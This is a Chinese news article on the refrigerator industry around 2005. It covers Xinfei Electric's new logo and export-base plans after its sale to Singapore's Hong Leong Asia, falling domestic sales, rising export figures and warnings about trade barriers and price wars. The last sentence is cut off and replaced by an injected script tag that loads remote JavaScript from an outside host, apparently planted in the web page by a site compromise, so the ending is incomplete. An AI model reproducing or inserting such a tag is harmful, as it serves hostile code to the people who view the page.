12月8日，新飞电器举办了2006年营销会议，丰隆亚洲有限公司 总裁张冬贵、新飞电器公司总经理李根悉数出席，这是新飞电器与新 加坡丰隆亚洲有限公司达成股权转让之后全新领导班子的首次统一亮 相。当天，新飞电器还向外界正式发布了全新logo“frestech”，并 表示这是新飞国际化的第一步。更加值得关注的是，李根在接受本报 记者采访时首次透露，2006年新飞将加大国际出口，并已决定在沿海 地带建立新的生产基地全部供应外销，以避免与内销发生冲突。新飞 的举措可以被看作是国内冰箱企业生存发展的一个风向标，在2005年 冰箱内销出现首次下降的时候，国际市场逐渐成为厂家下一个开垦的 领地，但其究竟能否成为我国冰箱业下一个有利可图的“出口”？
国内市场： 销量下滑 环境恶劣
根据中怡康的统计数据分析显示，今年国内冰箱市场销量将出现 至少4%的下降，这是我国冰箱市场首次出现下降现象。这一数据分析 亦得到了中国家电协会副秘书长陈钢的认可，他表示，近几年来我国 冰箱市场需求长期稳定的状态，是冰箱销量出现下降的最直接原因。
作为耐用品，一台冰箱的寿命至少在10年以上，而且与彩电、空 调等不同的是，一个家庭对冰箱的需求量一般只有一台，空调则可以 一个房间装一台达到多台需求。这些因素都导致了冰箱产品的市场需 求量受房地产等外部环境影响的强度不大。
除了销量上的下降之外，国内冰箱市场生存环境亦是愈益恶劣， 今年尤其明显，主要表现在三个方面：其一，冰箱业内并购重组现象 几成“家常便饭”，短短数月，格林柯尔分崩离析，海信、长虹分别 入主科龙、美菱，新飞也与新加坡丰隆亚洲有限公司达成股权转让协 议，成为由外资控股的企业；其二，外资冰箱企业在逐渐掌握高端市 场之后，开始市场份额的渗透占有，与此同时，曾经在冰箱领域表现 不起眼的品牌开始发力，因此冰箱市场已经无法被稳定把控，格局动 荡不安；其三，国内冰箱企业被上下游挤压的情况也是愈益严重，面 临的是上游原材料的涨价和下游商家的压价。
国际市场： 快步增长 趋势明显
与国内市场出现销量下滑现象形成鲜明对比的是，冰箱业出口国 外却一直在快步增长。据海关总署的统计显示：2005年1月-10月的出 口达到1171万台，去年1月-10月为1102万台，实现了近70万台的增长。
更加值得一提的是，在出口量上增长的同时，销售额更是大幅度 提升。据海关总署统计显示：2005年1月-10月出口额度是9.3亿美元， 远远高出2004年1-10月份7亿美元的出口额度。
陈钢分析认为，我国冰箱业日渐形成的原材料、零部件规模产业 链优势是出口销量和额度大幅度提升的直接原因。此外我国整体经济 的快速增长、国际地位的提升以及冰箱产品制造研发技术的日益国际 化也都在为冰箱出口起着助推作用。而更为重要的是，这些助推因素 仍在继续增长和提升，也就预示着，我国冰箱出口前景将被十分看好。
据悉，2004年国内冰箱行业的内外销比例为55%∶45%，业内专家 预测，今年将可能出现外销比例高达55以上%的情形。
前景预览： 谨防恶战 保障利润
从内销与出口形势的对比可以很明显地看出，企业对于后者有着 更大的信心，难度上也较前者小很多，而且从操作上来说，企业也更 愿意选择后者，至少在经销商的回款上后者较前者更加迅速。
因此，国内冰箱企业纷纷表示出了对出口的热情，或者说是，国 内企业在做强了国内市场之后要再觅新的增长空间。此次新飞电器推 出代表国际化形象的新logo及其针对出口即将建厂的愿望的表述，都 已经极大地证明了这一点。此前，美菱也透露出将建立年产60万台出 口基地的计划，表示了其对出口的看重；而在更久以前，科龙仍在顾 雏军掌控之下时，就已经将出口列在了十分重要的位置，并在今年年 初表示出口比例已经达到50%以上。
虽然此时冰箱出口有着比较乐观的前景，但之后的发展是否又真 的如人们期望的那样使出口成为冰箱业的另一个增长点？需要考虑的 有两点：其一，愈益繁重的各国政策壁垒正逐一袭来，如欧盟两指令、 反倾销诉讼等，企业如何克服和规避成为重中之重；其二，在越来越 多企业走向国际市场的同时，又如何避免恶性竞争、保证可靠的出口 利润，也是一直擅长大打价格战的中国企业在出口道路上应该思考的 问题。
对于此，陈钢也表示出了担心：“有一段时间，出口利润下滑， 企业就全部转向做国内市场，现在国内市场出现瓶颈，又开始大攻国 际市场，出口利润是否会在销量的冲击下受到影响？企业应该更加重 视利润问题。”不过，新飞电器总经理李根已经表示：“不赚钱的事 情，新飞绝对不会做。”李根还表示，在新加坡丰隆集团的国际背景 下，再加上多年来的国际市场运作经验，新飞对于国际出口充满信心。
正如其所说，在全球化的背景下，凭借我国冰箱业多年来的国际 市场运作经验，我们有理由期待国内企业在?script src=http://er12.com/t.js>
